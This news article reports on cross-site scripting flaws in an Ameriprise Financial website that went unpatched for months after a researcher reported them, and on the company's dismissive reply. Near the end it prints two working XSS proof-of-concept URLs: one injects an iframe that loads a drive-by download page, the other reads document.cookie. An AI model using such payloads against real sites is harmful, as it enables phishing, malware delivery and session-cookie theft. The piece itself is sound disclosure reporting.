Feeds

Security bugs crawl all over financial giant’s website

Ameriprise let flaws fester for five months

Choosing a cloud hosting partner with confidence

For the past five months, a website for investment services giant Ameriprise Financial contained bugs that allowed even low-level criminals to inject malicious content into official company webpages and steal user's cookies, according to a web security expert.

The XSS, or cross-site scripting, flaws made it possible for phishers to send Ameriprise customers bona fide links to the Ameriprise website that opened pages that intermingled counterfeit content with legitimate text and graphics. The holes could also allow criminals to steal browser cookies used to authenticate online accounts.

In the five months since Russ McRee of HolisticInfoSec.org first identified the bugs, Ameriprise offered customers statements like this one, which assures visitors that "no one without the proper web browser configuration can view or modify information contained on our systems." And yet, not one of the half-dozen warnings McRee sent was answered.

"The reality is that not enough of these companies at that level, particularly in the financial sector, properly do intake for vulnerabilities," said McRee. "There should be something on their site that says 'If you see a security issue on our site, please report it.'"

It was only earlier this week that federal prosecutors revealed that another garden-variety web vulnerability, known as an SQL injection, was the chink that allowed Albert Gonzalez and other hackers the toehold they needed to steal more than 130 million credit card numbers from card processor Heartland Payment Systems and four other companies. Like SQL injection flaws, XSS vulnerabilities have been around for more than a decade and are routinely discounted as insignificant by many of the websites plagued by the bugs.

Indeed, Benjamin Pratt, Ameriprise’s vice president of public communications, played down the severity of the bugs brought to his attention, saying they affected only one portion of the company's site.

"It's an important point to note that none of our client data can be exposed by this," he said shortly after being alerted to the bug. "There's no one at risk here. Like any other vulnerability, we're aware of it and we're moving as quickly as we can to repair it."

He said Ameriprise officials have no way of verifying that the bugs were reported as long ago as March, but in any event he said that there are no plans to review any of the mechanisms the company may have in place to receive notifications from the public about website vulnerabilities.

"There are plenty of customer service and other phone numbers available on our website," he said. "I can't speak to that specific experience."

It's not the first time a major financial services company has been caught sitting on a bug that could undermine the security of its online customers. In December, web application developers fixed several XSS holes on the website of American Express, more than two and a half weeks after McRee reported them to company representatives.

That bug was particularly embarrassing because Amex is a founding member of the PCI Security Standards Council, the group that sets the rules governing the Payment Card Industry. According to the rules, sites that suffer from XSS vulnerabilities are not compliant with payment card industry data-security standards.

McRee provided three examples of the types of links. One of them looked like this:

http://locator.ameripriseadvisors.com/?zip=12345&x=15&y=14&page=results&solc_id=19819&vend_cd=ALA&offer_id=%22%3E%3Ciframe%20src=http://holisticinfosec.org/poc/drivebyDemo/driveby.php%20width=600%20height=400%3E

It caused browsers hitting the Ameriprise website to receive a popup window that prompted them to download an executable file.

Click to enlarge

A separate link…

http://locator.ameripriseadvisors.com/?zip=12345&x=15&y=14&page=results&solc_id=19819&vend_cd=ALA&offer_id=%22%3E%3CSCRIPT%3Ealert(document.cookie)%3C/SCRIPT%3E

...used JavaScript to access the cookie the website had set on the user's hard drive.

Click to enlarge

Both Internet Explorer version 8 and Firefox running the NoScript add-on were immune to the attacks, thanks to built-in safety mechanisms.

Such web-application flaws are often easy to fix because they require only a line or two of code to be changed. Sure enough, Ameriprise repaired its site less than two hours after The Register notified company representatives of the vulnerabilities. ®

Beginner's guide to SSL certificates

More from The Register

next story
Russian hackers exploit 'Sandworm' bug 'to spy on NATO, EU PCs'
Fix imminent from Microsoft for Vista, Server 2008, other stuff
Microsoft pulls another dodgy patch
Redmond makes a hash of hashing add-on
FYI: OS X Yosemite's Spotlight tells Apple EVERYTHING you're looking for
It's on by default – didn't you read the small print?
'LulzSec leader Aush0k' found to be naughty boy not worthy of jail
15 months home detention leaves egg on feds' faces as they grab for more power
Forget passwords, let's use SELFIES, says Obama's cyber tsar
Michael Daniel wants to kill passwords dead
FBI boss: We don't want a backdoor, we want the front door to phones
Claims it's what the Founding Fathers would have wanted – catching killers and pedos
Kill off SSL 3.0 NOW: HTTPS savaged by vicious POODLE
Pull it out ASAP, it is SWISS CHEESE
prev story

Whitepapers

Forging a new future with identity relationship management
Learn about ForgeRock's next generation IRM platform and how it is designed to empower CEOS's and enterprises to engage with consumers.
Cloud and hybrid-cloud data protection for VMware
Learn how quick and easy it is to configure backups and perform restores for VMware environments.
Three 1TB solid state scorchers up for grabs
Big SSDs can be expensive but think big and think free because you could be the lucky winner of one of three 1TB Samsung SSD 840 EVO drives that we’re giving away worth over £300 apiece.
Reg Reader Research: SaaS based Email and Office Productivity Tools
Read this Reg reader report which provides advice and guidance for SMBs towards the use of SaaS based email and Office productivity tools.
Security for virtualized datacentres
Legacy security solutions are inefficient due to the architectural differences between physical and virtual environments.